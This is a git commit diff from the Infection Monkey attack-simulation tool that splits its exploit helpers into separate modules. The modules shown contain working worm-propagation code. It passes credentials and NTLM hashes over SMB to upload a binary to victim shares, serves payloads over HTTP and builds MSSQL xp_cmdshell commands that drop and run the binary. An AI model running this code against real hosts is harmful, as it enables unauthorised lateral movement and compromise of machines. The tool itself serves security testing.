exploit.tools refactored into separate modules to avoid circular dependencies while using telemetries

This commit is contained in:
VakarisZ 2019-07-05 10:04:16 +03:00
parent a8a355afb2
commit 8e3f1e7817
25 changed files with 641 additions and 568 deletions

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@ -11,7 +11,7 @@ from ctypes import c_char_p
import filecmp
from infection_monkey.config import WormConfiguration
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem

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@ -11,7 +11,8 @@ import logging
import posixpath
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
__author__ = 'VakarisZ'

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@ -6,9 +6,10 @@ from time import sleep
import pymssql
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter, tools
from infection_monkey.exploit.tools import HTTPTools
from infection_monkey.exploit.tools import get_monkey_dest_path
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
build_monkey_commandline, get_monkey_depth
from infection_monkey.model import DROPPER_ARG
from infection_monkey.utils import get_monkey_dir_path
@ -40,7 +41,7 @@ class MSSQLExploiter(HostExploiter):
return False
# Get monkey exe for host and it's path
src_path = tools.get_target_monkey(self.host)
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
@ -68,9 +69,9 @@ class MSSQLExploiter(HostExploiter):
MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(' '.join(commands))
# Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1,
dst_path)
monkey_args = build_monkey_commandline(self.host,
get_monkey_depth() - 1,
dst_path)
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
for part in textwrap.wrap(monkey_args, 40)]
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]

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@ -10,11 +10,10 @@ from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools import get_target_monkey
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from infection_monkey.utils import utf_to_ascii
from common.utils.exploit_enum import ExploitType

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@ -19,8 +19,10 @@ import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import DROPPER_ARG
from infection_monkey.network.smbfinger import SMB_SERVICE
from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from infection_monkey.pyinstaller_utils import get_binary_file_path
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
__author__ = 'itay.mizeretz'
@ -266,7 +268,7 @@ class SambaCryExploiter(HostExploiter):
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
T1105Telem(ScanStatus.USED, self.host.ip_addr[0], monkey_bin_64_src_path).send()
smb_client.disconnectTree(tree_id)
def trigger_module(self, smb_client, share):

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@ -7,10 +7,10 @@ from random import choice
import requests
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.shellshock_resources import CGI_FILES
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
__author__ = 'danielg'

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@ -4,11 +4,11 @@ from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
LOG = getLogger(__name__)

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@ -6,11 +6,12 @@ import StringIO
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
__author__ = 'hoffer'
@ -162,10 +163,11 @@ class SSHExploiter(HostExploiter):
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
T1105Telem(ScanStatus.USED, self.host.ip_addr[0], src_path).send()
ftp.close()
except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
T1105Telem(ScanStatus.SCANNED, self.host.ip_addr[0], src_path).send()
return False
try:

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@ -1,536 +0,0 @@
import logging
import ntpath
import os
import os.path
import pprint
import socket
import struct
import sys
import urllib
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port, get_routes
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from threading import Lock
class DceRpcException(Exception):
pass
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
(host, domain, username, password))
class WmiTools(object):
class WmiConnection(object):
def __init__(self):
self._dcom = None
self._iWbemServices = None
@property
def connected(self):
return self._dcom is not None
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
if not domain:
domain = host.ip_addr
dcom = DCOMConnection(host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
raise AccessDeniedException(host, username, password, domain)
raise
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
self._dcom = dcom
except:
dcom.disconnect()
raise
finally:
iWbemLevel1Login.RemRelease()
def close(self):
assert self.connected, "WmiConnection isn't connected"
self._iWbemServices.RemRelease()
self._iWbemServices = None
self._dcom.disconnect()
self._dcom = None
@staticmethod
def dcom_wrap(func):
def _wrapper(*args, **kwarg):
try:
return func(*args, **kwarg)
finally:
WmiTools.dcom_cleanup()
return _wrapper
@staticmethod
def dcom_cleanup():
for port_map in DCOMConnection.PORTMAPS.keys():
del DCOMConnection.PORTMAPS[port_map]
for oid_set in DCOMConnection.OID_SET.keys():
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
DCOMConnection.PORTMAPS = {}
if DCOMConnection.PINGTIMER:
DCOMConnection.PINGTIMER.cancel()
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
return wmi_connection._iWbemServices.GetObject(object_name)[0]
@staticmethod
def list_object(wmi_connection, object_name, fields=None, where=None):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
if fields:
fields_query = ",".join(fields)
else:
fields_query = "*"
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
if where:
wql_query += " WHERE %s" % (where,)
LOG.debug("Execution WQL query: %r", wql_query)
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
query = []
try:
while True:
try:
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
record = next_item.getProperties()
if not fields:
fields = record.keys()
query_record = {}
for key in fields:
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
raise
finally:
iEnumWbemClassObject.RemRelease()
return query
class SmbTools(object):
@staticmethod
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
" LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try:
smb.logoff()
except:
pass
return None
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
LOG.debug("Connected to %r using %s:\n%s",
host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
high_priority_shares = ()
low_priority_shares = ()
file_name = ntpath.split(dst_path)[-1]
for i in range(len(resp)):
share_name = resp[i]['shi2_netname'].strip("\0 ")
share_path = resp[i]['shi2_path'].strip("\0 ")
current_uses = resp[i]['shi2_current_uses']
max_uses = resp[i]['shi2_max_uses']
if current_uses >= max_uses:
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
share_name, host)
continue
elif not share_path:
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
share_name, host)
continue
share_info = {'share_name': share_name,
'share_path': share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info),)
shares = high_priority_shares + low_priority_shares
file_uploaded = False
for remote_path, share in shares:
share_name = share['share_name']
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name, share_path, remote_path, host)
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
# check if file is found on destination
if config.skip_exploit_if_file_exist:
try:
file_info = smb.listPath(share_name, remote_path)
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return remote_full_path
LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
pass # file isn't found on remote victim, moving on
try:
with monkeyfs.open(src_path, 'rb') as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path, share_name, share_path, host)
break
except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
continue
finally:
try:
smb.logoff()
except:
pass
smb = None
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
@staticmethod
def execute_rpc_call(smb, rpc_func, *args):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
return rpc_method_wrapper(dce, *args)
@staticmethod
def get_dce_bind(smb):
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
smb.getRemoteHost(),
filename=r'\srvsvc',
smb_connection=smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
return dce
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
"""
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
def get_interface_to_target(dst):
if sys.platform == "win32":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
def atol(x):
ip = socket.inet_aton(x)
return struct.unpack("!I", ip)[0]
routes = get_routes()
dst = atol(dst)
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
paths.append((m, (i, a, gw)))
if not paths:
return None
paths.sort()
ret = paths[-1][1]
return ret[1]
def get_target_monkey(host):
from infection_monkey.control import ControlClient
import platform
import sys
if host.monkey_exe:
return host.monkey_exe
if not host.os.get('type'):
return None
monkey_path = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and monkey_path:
host.monkey_exe = monkey_path
if not monkey_path:
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = ""
if parent is not None:
cmdline += " -p " + parent
if tunnel is not None:
cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False

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@ -0,0 +1,134 @@
import logging
import socket
import struct
import sys
from infection_monkey.network.info import get_routes
LOG = logging.getLogger(__name__)
def get_interface_to_target(dst):
"""
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
"""
if sys.platform == "win32":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
def atol(x):
ip = socket.inet_aton(x)
return struct.unpack("!I", ip)[0]
routes = get_routes()
dst = atol(dst)
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
paths.append((m, (i, a, gw)))
if not paths:
return None
paths.sort()
ret = paths[-1][1]
return ret[1]
def get_target_monkey(host):
from infection_monkey.control import ControlClient
import platform
import sys
if host.monkey_exe:
return host.monkey_exe
if not host.os.get('type'):
return None
monkey_path = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and monkey_path:
host.monkey_exe = monkey_path
if not monkey_path:
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = ""
if parent is not None:
cmdline += " -p " + parent
if tunnel is not None:
cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False

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@ -0,0 +1,62 @@
import logging
import os
import os.path
import urllib
from threading import Lock
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
"""
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd

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@ -0,0 +1,216 @@
import logging
import ntpath
import pprint
from impacket.dcerpc.v5 import transport, srvs
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class SmbTools(object):
@staticmethod
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
" LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try:
smb.logoff()
except:
pass
return None
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
LOG.debug("Connected to %r using %s:\n%s",
host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
high_priority_shares = ()
low_priority_shares = ()
file_name = ntpath.split(dst_path)[-1]
for i in range(len(resp)):
share_name = resp[i]['shi2_netname'].strip("\0 ")
share_path = resp[i]['shi2_path'].strip("\0 ")
current_uses = resp[i]['shi2_current_uses']
max_uses = resp[i]['shi2_max_uses']
if current_uses >= max_uses:
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
share_name, host)
continue
elif not share_path:
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
share_name, host)
continue
share_info = {'share_name': share_name,
'share_path': share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info),)
shares = high_priority_shares + low_priority_shares
file_uploaded = False
for remote_path, share in shares:
share_name = share['share_name']
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name, share_path, remote_path, host.ip_addr[0], )
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
# check if file is found on destination
if config.skip_exploit_if_file_exist:
try:
file_info = smb.listPath(share_name, remote_path)
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return remote_full_path
LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
pass # file isn't found on remote victim, moving on
try:
with monkeyfs.open(src_path, 'rb') as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
T1105Telem(ScanStatus.USED, host.ip_addr[0], dst_path).send()
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path, share_name, share_path, host)
break
except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
T1105Telem(ScanStatus.SCANNED, host.ip_addr[0], dst_path).send()
continue
finally:
try:
smb.logoff()
except:
pass
smb = None
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
@staticmethod
def execute_rpc_call(smb, rpc_func, *args):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
return rpc_method_wrapper(dce, *args)
@staticmethod
def get_dce_bind(smb):
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
smb.getRemoteHost(),
filename=r'\srvsvc',
smb_connection=smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
